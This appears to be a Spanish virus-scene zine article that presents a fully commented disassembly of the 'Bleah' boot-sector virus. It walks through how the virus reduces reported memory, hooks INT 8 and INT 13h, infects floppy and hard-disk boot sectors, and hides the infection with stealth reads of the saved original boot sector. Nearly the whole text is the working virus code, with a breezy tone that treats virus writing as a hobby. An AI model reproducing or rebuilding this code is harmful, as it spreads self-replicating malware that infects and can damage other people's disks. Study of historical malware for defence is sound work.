home *** CD-ROM | disk | FTP | other *** search
- ε;;---- COMENTARIO DEL VIRUS B L E A Hπ
- ε;;; ---------π
-
- Γ;; En este número vamos a dar el comentario de un virus de BOOT (sí, tambiénπ
- Γ;; existen estos). Bleah, se llama (bueno, eso es lo que dice el Scan). Comoπ
- Γ;; es NEW (lo que pone en el VSUM de Patricia F. Hoffman), no sabemos la dis-π
- Γ;; tribución de este pequeño canalla, pero sí sabemos que en la Universidad π
- Γ;; de Valencia es bastante popular (de algún sitio tendría que haberlo pilla-π
- Γ;; do, ¿no?). ¡Bueno, basta de gilipolleces, y a lo importante, que es el vi-π
- Γ;; rus! Como de costumbre, su ficha técnica:
-
- Γ;; FICHA TÉSNICA (Uy, perdón!)... TÉCNICA DEL VIRUS: π
- Γ;;-------------------------------------------------- π
-
- Γ;; - Infección de BOOT sectors de diskettes y discos duros en cualquier llama-π
- Γ;; da con número de función par a la int. 13h π
- Γ;; - Stealth (si se intenta leer el BOOT sector desde algún programa como el π
- Γ;; DEBUG, el programa leerá el BOOT original). π
- Γ;; - No tiene efecto. Se limita a copiarse. π
- Γ;; - Y si hay algo más, no me acuerdo. π
-
- Γ;; ∞Líyak el Oscuroπ
-
- 0DC4:0100 EB3C JMP 013E Γ; Salta al inicio del virusπ
- 0DC4:0102 90 NOP
- 0DC4:0103 2020 AND [BX+SI],AH Γ; Información del BOOT del discoπ
- 0DC4:0105 2020 AND [BX+SI],AH Γ; portador π
- 0DC4:0107 2020 AND [BX+SI],AH
- 0DC4:0109 2020 AND [BX+SI],AH
- 0DC4:010B 0002 ADD [BP+SI],AL
- 0DC4:010D 0101 ADD [BX+DI],AX
- 0DC4:010F 0002 ADD [BP+SI],AL
- 0DC4:0111 E000 LOOPNZ 0113
- 0DC4:0113 40 INC AX
- 0DC4:0114 0BF0 OR SI,AX
- 0DC4:0116 0900 OR [BX+SI],AX
- 0DC4:0118 1200 ADC AL,[BX+SI]
- 0DC4:011A 0200 ADD AL,[BX+SI]
- 0DC4:011C 0000 ADD [BX+SI],AL
- 0DC4:011E 0000 ADD [BX+SI],AL
- 0DC4:0120 0000 ADD [BX+SI],AL
- 0DC4:0122 0000 ADD [BX+SI],AL
- 0DC4:0124 0000 ADD [BX+SI],AL
- 0DC4:0126 0000 ADD [BX+SI],AL
- 0DC4:0128 0000 ADD [BX+SI],AL
- 0DC4:012A 0000 ADD [BX+SI],AL
- 0DC4:012C 0000 ADD [BX+SI],AL
- 0DC4:012E 0000 ADD [BX+SI],AL
- 0DC4:0130 0000 ADD [BX+SI],AL
- 0DC4:0132 0000 ADD [BX+SI],AL
- 0DC4:0134 0000 ADD [BX+SI],AL
- 0DC4:0136 0000 ADD [BX+SI],AL
- 0DC4:0138 0000 ADD [BX+SI],AL
- 0DC4:013A 0000 ADD [BX+SI],AL
- 0DC4:013C 0000 ADD [BX+SI],AL
- 0DC4:013E 33FF XOR DI,DI Γ; Pone DI a 0π
- 0DC4:0140 BB1304 MOV BX,0413 Γ; En BX la dirección de la cantidadπ
- Γ; de memoria disponible del sistemaπ
- Γ; (en 0000:0413). π
- 0DC4:0143 BE007C MOV SI,7C00 Γ; Inicio del BOOT sector cargado enπ
- Γ; memoria por el sistema π
- 0DC4:0146 FA CLI Γ; Prohibe interrupciones π
- 0DC4:0147 8ED7 MOV SS,DI Γ; SS a 0 π
- 0DC4:0149 8BE6 MOV SP,SI Γ; SP con 7C00h π
- 0DC4:014B 8EDF MOV DS,DI Γ; DS a 0 π
- 0DC4:014D A12200 MOV AX,[0022] Γ; En AX el CS de la interrupción 8 π
- Γ; (timer del sistema) π
- 0DC4:0150 3D00F0 CMP AX,F000 Γ; Comprueba si el CS es F000 (dondeπ
- Γ; inicialmente se direcciona esta π
- Γ; interrupción). Si es diferente, π
- Γ; es que u otro programa está usán-π
- Γ; dola, y por tanto provoca un π
- Γ; cuelgue del sistema, o está sien-π
- Γ; do usada por el mismo virus, y π
- Γ; en ese caso salta a su código. π
- 0DC4:0153 7525 JNZ 017A Γ; Si no es, salta π
- 0DC4:0155 A3047C MOV [7C04],AX Γ; Guarda en esta dirección el CS deπ
- Γ; la interrupción 8 π
- 0DC4:0158 A12000 MOV AX,[0020] Γ; Coge el IP de susodicha int. (ké π
- Γ; kulto ke soi :). π
- 0DC4:015B A3027C MOV [7C02],AX Γ; Lo guarda π
- 0DC4:015E 8B07 MOV AX,[BX] Γ; Coge la memoria total del sistemaπ
- 0DC4:0160 A30A7C MOV [7C0A],AX Γ; La guarda π
- 0DC4:0163 C6077E MOV BYTE PTR [BX],7E Γ; Como en BX, a no ser que π
- Γ; sea un caso especial, esta-π
- Γ; rá el valor 280h (640d) en π
- Γ; formato INTEL (en palabra π
- Γ; invertida), si en 8002 le π
- Γ; pone el valor 7E al primer π
- Γ; byte, conseguirá restarle π
- Γ; 2 Kb a la memoria total. π
- 0DC4:0166 B8809F MOV AX,9F80 Γ; Y en el nuevo segmento "reserva- π
- Γ; do" (aunque mejor decir "robado")π
- Γ; pondrá el virus, esto es, en el π
- Γ; segmento 9F80. π
- 0DC4:0169 8EC0 MOV ES,AX Γ; Pone éste en ES π
- 0DC4:016B B99A01 MOV CX,019A Γ; En CX la longitud del virus π
- 0DC4:016E F3 REPZ
- 0DC4:016F A4 MOVSB Γ; Lo copia allí. π
- 0DC4:0170 C7062000CF00 MOV WORD PTR [0020],00CF Γ; Pone el nuevo puntero π
- 0DC4:0176 8C062200 MOV [0022],ES Γ; de la int 8 apuntando (valga la π
- Γ; redundancia :) al código del vi- π
- Γ; rus que hay preparado a tal efec-π
- Γ; to. π
- 0DC4:017A 8B3EBF7D MOV DI,[7DBF] Γ; En DI ??? π
- 0DC4:017E EA8300809F JMP 9F80:0083 Γ; Salta al código en memoria... π
-
- Γ; ...aquí. π
- 0DC4:0183 E83A00 CALL 01C0 Γ; Función para obtener el puntero de π
- Γ; la interrupción 13h y guardarlo en π
- Γ; lugar seguro. π
- 0DC4:0186 1E PUSH DS
- 0DC4:0187 07 POP ES Γ; ES = 0 π
- 0DC4:0188 8BDC MOV BX,SP Γ; En BX el valor 7C00 π
- 0DC4:018A B02D MOV AL,2D Γ; Obtiene por BIOS la configuración π
- 0DC4:018C E670 OUT 70,AL Γ; de arranque del ordenador del π
- 0DC4:018E E471 IN AL,71 Γ; SETUP. π
- 0DC4:0190 50 PUSH AX Γ; Guarda AX (donde tiene esto). π
- 0DC4:0191 24BF AND AL,BF Γ; Desconecta la velocidad alta de π
- 0DC4:0193 E671 OUT 71,AL Γ; arranque y conecta la búsqueda al π
- Γ; arrancar de unidades de diskette π
- Γ; (todo ello por si no está como el π
- Γ; virus quiere que esté, claro). π
- 0DC4:0195 BA8000 MOV DX,0080 Γ; Ahora pone en en DX, CX y AX los π
- 0DC4:0198 B90100 MOV CX,0001 Γ; valores necesarios para llamar a laπ
- 0DC4:019B B80102 MOV AX,0201 Γ; función de la int 13h de lectura y π
- Γ; leer el BOOT del disco duro π
- 0DC4:019E 9C PUSHF Γ; Guarda banderas π
- 0DC4:019F 0E PUSH CS Γ; Guarda el CS (todo esto para emularπ
- Γ; después una instrucción INT) π
- 0DC4:01A0 E85E00 CALL 0201 Γ; Llamada a la int 13h directamente π
- Γ; por su propia función, aprovechandoπ
- Γ; que el CALL guarda el IP en stack. π
- Γ; Como antes ha guardado banderas y π
- Γ; CS, queda nivelado y después del π
- Γ; IRET de la interrupción, retornará π
- Γ; aquí. π
- Γ; Además de leer el BOOT original y π
- Γ; dejarlo en 0000:7C00, infectará el π
- Γ; disco duro si éste no está infec- π
- Γ; tado. π
-
- 0DC4:01A3 FA CLI Γ; Prohíbe interrupciones π
- 0DC4:01A4 B02D MOV AL,2D Γ; Activa la función de obtención de π
- 0DC4:01A6 E670 OUT 70,AL Γ; la configuración del arranque del π
- Γ; ordenador... π
- 0DC4:01A8 58 POP AX Γ; ... , saca la configuración que ob-π
- Γ; tuvo antes... π
- 0DC4:01A9 E671 OUT 71,AL Γ; ... y la restaura. π
- 0DC4:01AB 81FF0101 CMP DI,0101 Γ; ??? π
- 0DC4:01AF 740A JZ 01BB Γ; Si se ha arrancado desde diskette, π
- Γ; no salta. π
- 0DC4:01B1 BA0001 MOV DX,0100 Γ; Lee el diskette. π
- 0DC4:01B4 B10E MOV CL,0E Γ; Lee el BOOT original (almacenado π
- Γ; en este sector y cabezal) π
- 0DC4:01B6 B80102 MOV AX,0201 Γ; Función de lectura y cantidad de π
- Γ; sectores a leer π
- 0DC4:01B9 CD13 INT 13 Γ; Ejecuta la interrupción π
- 0DC4:01BB EA007C0000 JMP 0000:7C00 Γ; Salta al BOOT original π
-
- Γ; Función llamada desde :0183 π
- 0DC4:01C0 A14C00 MOV AX,[004C] Γ; Obtiene en AX el IP de la int 13hπ
- 0DC4:01C3 2E CS: π
- 0DC4:01C4 A30600 MOV [0006],AX Γ; Lo guarda en :0106 (:0106 aquí, π
- Γ; :0006 en el código en memoria) π
- 0DC4:01C7 A14E00 MOV AX,[004E] Γ; Obtiene ahora el CS π
- 0DC4:01CA 2E CS:
- 0DC4:01CB A30800 MOV [0008],AX Γ; Lo guarda también π
- 0DC4:01CE C3 RET Γ; Retorna π
-
- Γ;;;;;;;;;;;;;; NUEVA INTERRUPCION 8h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
-
- 0DC4:01CF 2E CS:
- 0DC4:01D0 803E0900F0 CMP BYTE PTR [0009],F0 Γ; Comprueba si en la di- π
- Γ; rección :0009 está el π
- Γ; valor F0h π
- 0DC4:01D5 7525 JNZ 01FC Γ; Si no es, acaba π
- 0DC4:01D7 50 PUSH AX Γ; Guarda AX y DS π
- 0DC4:01D8 1E PUSH DS
- 0DC4:01D9 33C0 XOR AX,AX Γ; DS = 0 π
- 0DC4:01DB 8ED8 MOV DS,AX
- 0DC4:01DD A1BA00 MOV AX,[00BA] Γ; En AX el CS de la int. 2Ch π
- 0DC4:01E0 3B06B600 CMP AX,[00B6] Γ; Lo compara con el de la 2Bh π
- 0DC4:01E4 7414 JZ 01FA Γ; Si es igual, significa que el π
- Γ; DOS ya ha sido instalado y termi-π
- Γ; na. π
- 0DC4:01E6 2E CS:
- 0DC4:01E7 A10A00 MOV AX,[000A] Γ; Coge la memoria original del or- π
- Γ; denador π
- 0DC4:01EA A31304 MOV [0413],AX Γ; Lo pone como tamaño de memoria π
- Γ; del sistema π
- 0DC4:01ED E8D0FF CALL 01C0 Γ; Obtiene el puntero de la int 13h π
- Γ; y lo guarda π
- 0DC4:01F0 C7064C000101 MOV WORD PTR [004C],0101 Γ; Pone la int 13h apun- π
- 0DC4:01F6 8C0E4E00 MOV [004E],CS Γ; tando a su código. π
- 0DC4:01FA 1F POP DS Γ; Recupera DS y AX π
- 0DC4:01FB 58 POP AX
- 0DC4:01FC 2E CS:
- 0DC4:01FD FF2E0200 JMP FAR [0002] Γ; Salta a la dirección original de π
- Γ; la int 08h. π
-
- Γ;;;;;;;;; NUEVA INTERRUPCION 13h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
-
- Γ; Desde :01A0 π
- 0DC4:0201 9C PUSHF Γ; Guarda banderas y todos los re- π
- 0DC4:0202 55 PUSH BP Γ; gistros. π
- 0DC4:0203 50 PUSH AX
- 0DC4:0204 53 PUSH BX
- 0DC4:0205 51 PUSH CX
- 0DC4:0206 52 PUSH DX
- 0DC4:0207 56 PUSH SI
- 0DC4:0208 57 PUSH DI
- 0DC4:0209 1E PUSH DS
- 0DC4:020A 06 PUSH ES
- 0DC4:020B 8BEC MOV BP,SP Γ; En BP, SP (obvio, ¿no?) π
- 0DC4:020D 80EC02 SUB AH,02 Γ; Le resta 2 a AH. π
- 0DC4:0210 F6C4FE TEST AH,FE Γ; Mira si es impar π
- 0DC4:0213 7576 JNZ 028B Γ; Si es impar, sale π
- 0DC4:0215 F7C1C0FF TEST CX,FFC0 Γ; Mira si se intenta leer o hacer π
- Γ; algo con los primeros 32 sectoresπ
- Γ; del disco que se vaya a leer π
- 0DC4:0219 7570 JNZ 028B Γ; Si no, sale π
- 0DC4:021B 0AF6 OR DH,DH Γ; Es 0? π
- 0DC4:021D 756C JNZ 028B Γ; Si no lo es, sale π
- 0DC4:021F 0E PUSH CS Γ; DS=CS π
- 0DC4:0220 1F POP DS
- 0DC4:0221 0E PUSH CS Γ; ES=CS π
- 0DC4:0222 07 POP ES
- 0DC4:0223 BB0002 MOV BX,0200 Γ; Pone el buffer de lectura en :200π
- Γ; (:0300 sería aquí, pero esto no π
- Γ; es la situación real, claro). π
- 0DC4:0226 B101 MOV CL,01 Γ; Pone para leer el primer sector π
- 0DC4:0228 B80102 MOV AX,0201 Γ; Lee el primer sector del disco π
- 0DC4:022B 9C PUSHF Γ; en cuestión π
- 0DC4:022C FF1E0600 CALL FAR [0006]
-
- 0DC4:0230 7259 JB 028B Γ; Si hay error, salta. π
- 0DC4:0232 807F4113 CMP BYTE PTR [BX+41],13 Γ; ¿Es el byte 41h del sec-π
- Γ; tor el valor 13h? π
- 0DC4:0236 7433 JZ 026B Γ; Si lo es, está infectado, y por π
- Γ; tanto salta π
- Γ; Aquí llega si no está infectado π
- Γ; el BOOT del disco. π
- 0DC4:0238 B80103 MOV AX,0301 Γ; Función de escritura. π
- 0DC4:023B 50 PUSH AX Γ; Guarda AX π
- 0DC4:023C 41 INC CX Γ; Incrementa CX (guardará en el si-π
- Γ; guiente sector el BOOT sano). π
- 0DC4:023D 80FA80 CMP DL,80 Γ; ¿Es disco duro? π
- 0DC4:0240 730A JNB 024C Γ; Si lo es, salta π
- Γ; Aquí si es diskette π
- 0DC4:0242 807F180E CMP BYTE PTR [BX+18],0E Γ; Comprueba si el número π
- Γ; de sectores por pista del π
- Γ; diskette este es de al menosπ
- Γ; 14 π
- 0DC4:0246 7209 JB 0251 Γ; Si es menor, no lo escribe π
- 0DC4:0248 B10E MOV CL,0E Γ; En caso de que sea mayor o igual,π
- Γ; escribe en el sector 14 del discoπ
- Γ; el antiguo BOOT π
- 0DC4:024A FEC6 INC DH Γ; Incrementa también el número de π
- Γ; cabezal donde lo escribirá. π
- Γ; Aquí si es disco duro π
- 0DC4:024C 9C PUSHF Γ; Ejecuta la interrupción 13h π
- 0DC4:024D FF1E0600 CALL FAR [0006]
- 0DC4:0251 C707EB3C MOV WORD PTR [BX],3CEB Γ; Inserta en el inicio del π
- Γ; BOOT leído anteriormente la ins- π
- Γ; trucción de salto JMP SHORT 003Ehπ
- 0DC4:0255 BE3E00 MOV SI,003E Γ; Copia el virus sobre el programa π
- 0DC4:0258 BF3E02 MOV DI,023E Γ; del BOOT original en memoria pa- π
- 0DC4:025B B95C01 MOV CX,015C Γ; ra preservar los valores origina-π
- 0DC4:025E F3 REPZ Γ; les y hacerlo lo más compatible π
- 0DC4:025F A4 MOVSB Γ; posible (hay virus que no hacen π
- Γ; esto y tienen una especie de BOOTπ
- Γ; standard que "en teoría" sirve π
- Γ; para todo tipo de discos, pero π
- Γ; sólo en teoría, puesto que en la π
- Γ; práctica sólo consiguen en la ma-π
- Γ; yoría de los casos joder el discoπ
- Γ; que han infectado). π
- 0DC4:0260 B600 MOV DH,00 Γ; Escribe en el cabezal 0, sector 1π
- 0DC4:0262 41 INC CX Γ; y cilindro 0 (o sea, el BOOT sec-π
- Γ; tor) el nuevo BOOT que el virus π
- Γ; ha hecho. π
- 0DC4:0263 58 POP AX Γ; Saca 0301h que tenía guardado de π
- Γ; antes. π
- 0DC4:0264 9C PUSHF Γ; Y ejecuta la int. 13h π
- 0DC4:0265 FF1E0600 CALL FAR [0006]
- 0DC4:0269 7220 JB 028B Γ; Si hay error, acaba π
- 0DC4:026B 8A460A MOV AL,[BP+0A] Γ; Coge el valor con el que el re- π
- Γ; gistro CL ha entrado en la fun- π
- Γ; ción (no olvidemos que el segmen-π
- Γ; to por defecto con el que opera- π
- Γ; mos cuando usamos BP es SS: y no π
- Γ; DS: ). π
- 0DC4:026E 80FA80 CMP DL,80 Γ; ¿Es disco duro? π
- 0DC4:0271 7209 JB 027C Γ; Si es diskette, salta π
- 0DC4:0273 3C02 CMP AL,02 Γ; Es el sector 02, al menos? π
- 0DC4:0275 7714 JA 028B Γ; Si es mayor, salta π
- 0DC4:0277 FE460A INC BYTE PTR [BP+0A] Γ; Incrementa el número de π
- Γ; sector a leer. Es el siste-π
- Γ; ma stealth: si se intenta π
- Γ; leer el primer sector del π
- Γ; BOOT, se desvía al BOOT π
- Γ; original (que está guardadoπ
- Γ; en el sector no. 2), y si π
- Γ; se intenta leer el segundo π
- Γ; sector del BOOT (donde es- π
- Γ; tá guardado el BOOT origi- π
- Γ; nal) se desvía al siguien- π
- Γ; te, que normalmente será π
- Γ; todo 0s. π
- 0DC4:027A EB0F JMP 028B Γ; Acaba. π
- Γ; Aquí si es diskette. π
- 0DC4:027C 3C01 CMP AL,01 Γ; ¿Se intenta leer el primer π
- Γ; sector del disco? π
- 0DC4:027E 750B JNZ 028B Γ; Si no, acaba π
- 0DC4:0280 807F180E CMP BYTE PTR [BX+18],0E Γ; Comprueba si el número π
- Γ; de sectores por pista es 14π
- 0DC4:0284 7205 JB 028B Γ; Si es menor, acaba π
- 0DC4:0286 C74609010E MOV WORD PTR [BP+09],0E01 Γ; Si no es menor, aquí π
- Γ; es donde está guardadoπ
- Γ; el boot original en unπ
- Γ; diskette infectado. π
- 0DC4:028B 07 POP ES Γ; Saca todo el stack π
- 0DC4:028C 1F POP DS
- 0DC4:028D 5F POP DI
- 0DC4:028E 5E POP SI
- 0DC4:028F 5A POP DX
- 0DC4:0290 59 POP CX
- 0DC4:0291 5B POP BX
- 0DC4:0292 58 POP AX
- 0DC4:0293 5D POP BP
- 0DC4:0294 9D POPF
- 0DC4:0295 2E CS: Γ; Ejecuta la interrupción. π
- 0DC4:0296 FF2E0600 JMP FAR [0006]
-